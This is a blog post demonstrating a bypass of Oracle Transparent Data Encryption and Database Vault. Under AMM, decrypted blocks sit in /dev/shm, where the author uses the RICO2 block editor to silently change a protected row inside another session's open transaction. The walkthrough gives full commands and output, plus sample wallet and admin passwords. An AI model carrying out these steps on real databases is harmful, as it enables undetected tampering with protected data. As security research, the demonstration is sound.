Most of us already know that AMM sucks. But usually, we think about disadvantages of AMM in terms of performance. Let’s see why it sucks in the terms of security 😉
Let’s create an encrypted tablespace for HR.EMPLOYEES and protect HR schema with Database Vault.
Contents of sqlnet.ora
1 | ENCRYPTION_WALLET_LOCATION= |
5 | (DIRECTORY=/etc/oracle/wallet/rico))) |
1 | SQL> administer key management create keystore '/etc/oracle/wallet/rico' identified by "ZyrafyWchodzaDoSzafy"; |
5 | SQL> administer key management set keystore open identified by "ZyrafyWchodzaDoSzafy"; |
9 | SQL> !ls /etc/oracle/wallet/rico |
12 | SQL> administer key management set key identified by "ZyrafyWchodzaDoSzafy" with backup; |
17 | 1 create tablespace secure_data |
18 | 2 datafile '/u01/app/oracle/oradata/orcl/secure_data01.dbf' |
20 | 4 autoextend on next 64m |
22 | 6 encryption using 'AES256' |
23 | 7* default storage (encrypt) |
28 | SQL> alter table hr.employees move tablespace secure_data; |
32 | SQL> exec lbacsys.configure_ols |
34 | PL/SQL procedure successfully completed. |
36 | SQL> exec lbacsys.ols_enforcement.enable_ols |
38 | PL/SQL procedure successfully completed. |
Now we will use dbca to configure a database for using Database Vault
1 | [oracle@rico ~]$ dbca -silent -configureDatabase -sourceDB orcl -dvConfiguration true -dvUserName db_master -dvUserPassword Oracle123 |
2 | Preparing to Configure Database |
6 | Completing Database Configuration |
8 | Look at the log file "/u01/app/oracle/cfgtoollogs/dbca/orcl/orcl.log" for further details. |
10 | [oracle@rico ~]$ sqlplus db_master |
12 | SQL*Plus: Release 12.1.0.2.0 Production on Fri May 18 14:18:02 2018 |
14 | Copyright (c) 1982, 2014, Oracle. All rights reserved. |
17 | Last Successful login time: Fri May 18 2018 14:17:05 +02:00 |
20 | Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production |
21 | With the Partitioning, Oracle Label Security, OLAP, Advanced Analytics |
22 | and Real Application Testing options |
24 | SQL> exec dbms_macadm.enable_dv |
26 | PL/SQL procedure successfully completed. |
29 | 2 dbms_macadm.CREATE_REALM(realm_name=>'HR_REALM', |
30 | 3 description=>'Protect HR objects', |
31 | 4 enabled=>dbms_macutl.g_yes, |
32 | 5 audit_options=>dbms_macutl.g_realm_audit_fail, |
37 | PL/SQL procedure successfully completed. |
40 | 2 dbms_macadm.ADD_OBJECT_TO_REALM(realm_name=>'HR_REALM', |
41 | 3 object_owner => 'HR', |
47 | PL/SQL procedure successfully completed. |
50 | 2 DBMS_MACADM.ADD_AUTH_TO_REALM( |
51 | 3 realm_name => 'HR_REALM', |
53 | 5 auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER); |
57 | PL/SQL procedure successfully completed. |
Now even SYSDBA can’t select data from HR tables:
3 | SQL> select count(1) from hr.employees; |
4 | select count(1) from hr.employees |
7 | ORA-01031: insufficient privileges |
You can’t also access data with tools like BBED or RICO2, because the tablespace is encrypted.
But let’s assume that someone with appropriate privileges started a transaction on a table we want to modify without leaving any trail in a database.
6 | 3 where employee_id=100; |
As a SYSDBA we can check XID and DATA_OBJECT_ID for running transaction:
2 | 2 from v$transaction t, v$session s |
3 | 3 where t.ses_addr=s.saddr |
10 | SQL> select data_object_id |
13 | 4 and object_name='EMPLOYEES'; |
Blocks are decrypted in memory and with AMM, memory is represented as files in /dev/shm.
So we can use RICO2 to tread /dev/shm files as datafiles.
1 | [oracle@rico ~]$ ls /dev/shm/*orcl* | awk '{print NR " " $0}' > listfile |
2 | [oracle@rico ~]$ python rico2.py listfile |
3 | RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl) |
4 | This is open source project to map BBED functionality. |
5 | If you know how to use BBED, you will know how to use this one. |
6 | Not everything is documented but in most cases the code is trivial to interpret it. |
7 | So if you don't know how to use this tool - then maybe you shouldn't ;) |
9 | Usage: python2.7 rico2.py listfile.txt |
10 | The listfile.txt should contain the list of the DBF files you want to read |
14 | This tool should be used only to learn or in critical situations! |
15 | The usage is not supported! |
16 | If found on production system, this software should be considered as malware and deleted immediately! |
18 | 1 /dev/shm/ora_orcl_30310405_0 |
19 | 2 /dev/shm/ora_orcl_30343174_0 |
20 | 3 /dev/shm/ora_orcl_30343174_1 |
21 | ( ... removed for clarity ... ) |
Now we can search for a XID in correlation with DATA_OBJECT_ID:
1 | rico2 > find -xo 03000C0001060000:93291 |
2 | Found in block: 72,1934 block type: DATA |
Now we can edit the block in a classic way:
2 | DBA 0x1200078e (301991822 72,1934) |
4 | rowdata[6938] @8126 0x2c |
12 | col 1[6] @8132: 53746576656e |
13 | col 2[4] @8139: 4b696e67 |
14 | col 3[5] @8144: 534b494e47 |
15 | col 4[12] @8150: 3531352e3132332e34353637 |
16 | col 5[7] @8163: 78670611010101 |
17 | col 6[7] @8171: 41445f50524553 |
24 | rico2 > set offset 8140 |
26 | File: /dev/shm/ora_orcl_30343174_72(72) |
27 | Block: 1934 Offsets: 8140 to 8652 Dba: 0x1200078e |
28 | --------------------------------------------------------------- |
29 | 4b696e67 05534b49 4e470c35 31352e31 | King.SKING.515.1 |
30 | 32332e34 35363707 78670611 01010107 | 23.4567.xg...... |
31 | 41445f50 52455303 c30551ff ff02c15b | AD_PRES...Q....[ |
37 | Usage: First - set offset to a place that you want to modify. |
38 | Then: modify [-s bytestring | -h hex] |
40 | You want to modify block: 1934 at offset: 8140 |
43 | Block data changed. To save changes set edit mode and type: save |
47 | Block data changed. To save changes set edit mode and type: save |
49 | Current block data successfully saved to disk. To revert changes, type: dupa |
And now let’s check what happened in original session…
3 | 3 where employee_id=100; |
So now when a user will commit a session – our changes will be also saved to disk 😀
GDPR made security really popular lately. Just remember that buying expensive licenses for fancy products doesn’t mean you are fully secured 😉
